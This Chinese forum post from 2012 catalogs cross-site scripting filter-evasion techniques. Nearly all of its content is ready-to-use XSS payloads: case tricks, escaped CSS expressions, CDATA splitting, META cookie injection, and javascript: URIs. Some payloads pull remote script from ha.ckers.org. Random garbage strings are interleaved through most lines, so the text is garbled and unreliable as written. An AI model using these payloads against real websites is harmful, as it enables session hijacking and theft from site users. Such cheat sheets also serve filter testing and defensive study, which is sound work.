找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2330|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1. 改变字符大小写
- f/ e3 x% @; Z+ a: b% X9 V
1 p9 J# V  Q7 Q. @
, j& u( z; V# H( Y, V! ~% V& a, W( w& |. b, H- o2 E* x
    <sCript>alert(‘d’)</scRipT>
( Z  y1 ]. V  I8 X/ e% n" N
1 S1 g1 b, ]; h/ G4 v! Y6 O2. 利用多加一些其它字符来规避Regular Expression的检查
- y" ]1 e* k# Y: I8 Y
/ F6 A, ^* u; f6 `% d# g* ]    <<script>alert(‘c’)//<</script>; X+ m, m! z6 W
9 O' g! a! Y9 |8 x
    <SCRIPT a=">" SRC="t.js"></SCRIPT>0 L+ P$ g2 l9 ^6 J7 X$ L( z! [
6 Z( ]4 L8 t& y6 ]; g# D1 h
    <SCRIPT =">" SRC="t.js"></SCRIPT>5 Z' [- S8 b: r/ R5 e

$ ?. b% Q, o2 ~7 c, d& @1 Y    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>" F# R4 Q5 ~% v# ^" L! M  l; y

& |1 h, q: T0 K    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
' l% @$ |9 H* Q, @1 V7 f1 i# O6 p. J+ _) a
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
0 B- M0 h8 D; {% e& |9 O% _: f+ s; h/ S( L7 O  p2 V. P4 z
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>' ?4 x4 m5 J* P3 a) H9 A6 \" o2 s
+ H& J% R3 ~) ?# X' c
3. 以其它扩展名取代.js
" W2 ]" P5 R2 u* q6 _' z
" b, x" a2 G% R8 N3 ~; \6 H    <script src="bad.jpg"></script>) b/ l3 y9 {' j0 t) v0 K1 K
$ l+ F! q& q; R2 @" a# c* y' G
4. 将Javascript写在CSS档里1 \. `; E) p+ n3 M- Q

6 L: z. v" J! |5 W" ^8 E+ Q    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
' Y% H/ y: H) d/ {% E" i5 P/ s
# Q* k, o( a% X! |       example:5 H# C' ^' U! G( r7 r. |1 f
# W& [* W+ Y/ x/ a
          body {
' N+ P4 N* T+ o" ~+ ~$ Q5 j
- d! ]* ~) w3 `1 Y- [               background-image: url(‘javascript:alert("XSS");’)5 v: a: l& J1 v6 C! F% [& J- x9 V
3 r. z4 \5 U9 b. Q" t- Y
          }' @% L' f  l8 J) d/ s2 j/ r# T( g
) f. |1 N# f7 v
5. 在script的tag里加入一些其它字符
5 [2 E0 O, m/ p0 K( v9 B6 h& c4 c1 m: w: k
    <SCRIPT/SRC="t.js"></SCRIPT>
  ?/ e7 c5 m' o, m* I5 t: d' q. C8 L+ Y: {7 c7 K. P3 w
    <SCRIPT/anyword SRC="t.js"></SCRIPT>/ N& `8 G( I9 t

  i1 q3 I  K4 m/ i% P% H6. 使用tab或是new line来规避
+ `" E# Q5 M% |, w! l9 ]- L0 d! ?
, i$ P5 k) j! X; l3 }    <img src="jav ascr ipt:alert(‘XSS3′)">
! b  O0 x; r6 l! A. r! N, C! Y( K  g  s, m6 Q+ h2 o
    <img src="jav ascr ipt:alert(‘XSS3′)">
/ A. l3 I5 D# X  G( }' y
% J. N1 i8 T0 i! i, e    <IMG SRC="jav ascript:alert(‘XSS’);">
" L, \2 C  G6 n2 l. Q! {2 n  O" b* Y# L* s( W
         -> tag
! f4 e; Z; {- G% j
8 n5 O% |* E/ ~! [/ f% h         -> new line# m, Q+ {3 P5 N# I9 k# Q
" r8 f6 [& e7 i9 O! j( E" p
7. 使用"\"来规避! f0 b, |" L' p9 E# h" ]
  B5 e6 F! ^& m6 @0 ^; Y
    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
1 ~2 l; b) r! n7 G& m: i
, ]5 z. ~2 t/ B1 G# K    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>1 L1 b+ L; e1 P2 r4 W

' S' Y! q( r8 E2 U. j4 [  I    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
- f/ b* Q- S8 e6 H; O
1 l4 V1 Q* h8 y: z$ R: E4 R    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
" J6 D- i. q8 v1 [
. J  S, i* ]; A' M0 w. j5 n    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>& A& t+ u0 i: P) C) }" a+ e4 T

8 i, E8 b; \" |9 I6 V( w/ g8. 使用Hex encode来规避(也可能会把";"拿掉)
4 I0 ~4 G6 [" n, P) \- O8 I9 \6 o7 P$ m) N+ d9 u
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
+ z; a/ i( D; X) K$ Z
3 |) L5 l! |' t7 e        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">- j. X' P3 d( E6 H) w' r( ~
) a* P8 n0 ~( m) ?
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
: t" q" j* U1 k, \( [
# E3 w3 r/ U: d2 N- h7 H2 U6 f# f        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
! t6 R1 T6 E5 u# m7 |9 E  f$ U5 o5 G4 d
9. script in HTML tag
- g/ ]( ?" |) W
: y. w6 J: |) N' J2 D" S    <body onload=」alert(‘onload’)」>! Y. D' I5 h; |/ F

- ^: S$ |: y, u' w        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload" }) L3 J; A+ c' s) P$ L9 U; Z7 C
1 l$ B5 X; H5 B9 }
10. 在swf里含有xss的code
# c8 c4 H7 R3 s. r5 N" ~/ E. H4 a
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
% I+ I: i1 @1 S) x5 y9 b
4 q6 v& |4 Y8 m. ]1 l6 k+ p& V11. 利用CDATA将xss的code拆开,再组合起来。# {# `6 L/ b/ r9 `" v$ L/ N* y

, W( |6 |+ _. ?( _; L% W    <XML ID=I><X><C>
& @; W: p! U& ?6 N5 v, W
9 c) g) U8 c2 y& E    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>" ?7 X1 l5 W4 x* @

* d. C; O/ }5 e3 H8 P$ I& A; `# Q. ~  C    </C></X>
/ @( |6 O6 J7 Y7 P: {2 @: l. E5 {+ F4 D) j1 U
    </xml>
. Y7 k" M8 N9 ^4 g& p9 o6 m" d" D) n
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>% \, u# b- w* ?, }9 H) P

4 B0 T  S- w  G% d* `    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>  x; }( U  e% t( x5 ^$ I

6 B) E8 M* a1 i1 N( i& X    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>6 l+ R! b! b: u" N. ~7 Z( f
  s% b( H* r2 l9 V* Y: M
12. 利用HTML+TIME。
3 [. K5 H; Y4 G3 _8 |7 ?# S4 c' ?/ r3 Y: r5 M
    <HTML><BODY>' _- E4 E! i* C& t

1 |* u, M6 L& b" {  b    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">, b6 Y: L7 b2 }! c% a% f& g7 w2 i1 i& }
& m1 m9 g! f" s1 I  ^- l$ W
    <?import namespace="t" implementation="#default#time2">
, X1 m( ?4 C2 ?0 Y
6 \3 X9 z& Q  Q    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
& F+ L* v" W# A0 [0 z; A# n
- g* P1 N8 M( c8 m8 R    </BODY></HTML>$ ^: z. W# ~2 a# X+ |5 A
" _, u2 o* M4 o0 x& _8 ?% ^( a2 ]; ?
13. 透过META写入Cookie。
9 p, z' \2 D9 Y3 I% v
; k/ u% X' c; G) E- S" O( r    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
( t- l5 H4 U0 s
: I% m& C+ k" G14. javascript in src , href , url1 ?0 y8 s& X0 ?
; s* m& g  a; s3 ?) M" \
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>% o8 Y: m' L) V8 C0 E

& Y; P5 `- z7 s4 L! c* _    <img src="javascript:alert(‘XSS3′)">% y5 c8 z+ Y9 |7 _9 X

0 B0 I# o, M! a  T  p* M# K<IMG DYNSRC="javascript:alert(‘XSS20′)">
5 L8 N$ {2 u. z; R1 h4 ]9 x# b+ J* W% N2 y: p3 m
    <IMG LOWSRC="javascript:alert(‘XSS21′)">
/ t6 P: S8 e# t% e% V, ^) r
( r; i0 X) D+ a. A% }+ Q: x    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
9 J, f& u4 I3 b/ N/ Y4 p: l6 F5 D1 r
5 J1 p5 u8 ^9 g. Q8 ]1 y' }4 u    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
: Q2 B& Z+ P2 P2 }
( y9 p8 T$ h1 d: j# x4 T    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
/ P0 a- _; n8 [' z( B# O+ s
" p7 K& H# \( [/ y3 e; f+ |    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">: V# V/ B1 W$ z2 o4 p" L9 i
1 S# c) i: N8 P6 ^, o
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}: Y% c# ^1 b) c: D& B( t2 m

! b) }3 i8 ], t' {: k    </STYLE><A CLASS=XSS></A>
' I0 R7 b5 k; p8 A: U: G! [8 ^+ _( Y2 z6 v
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
5 L' F0 j3 R) a" h  F# R1 l: Z
' X$ @# W& q0 \7 r: a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表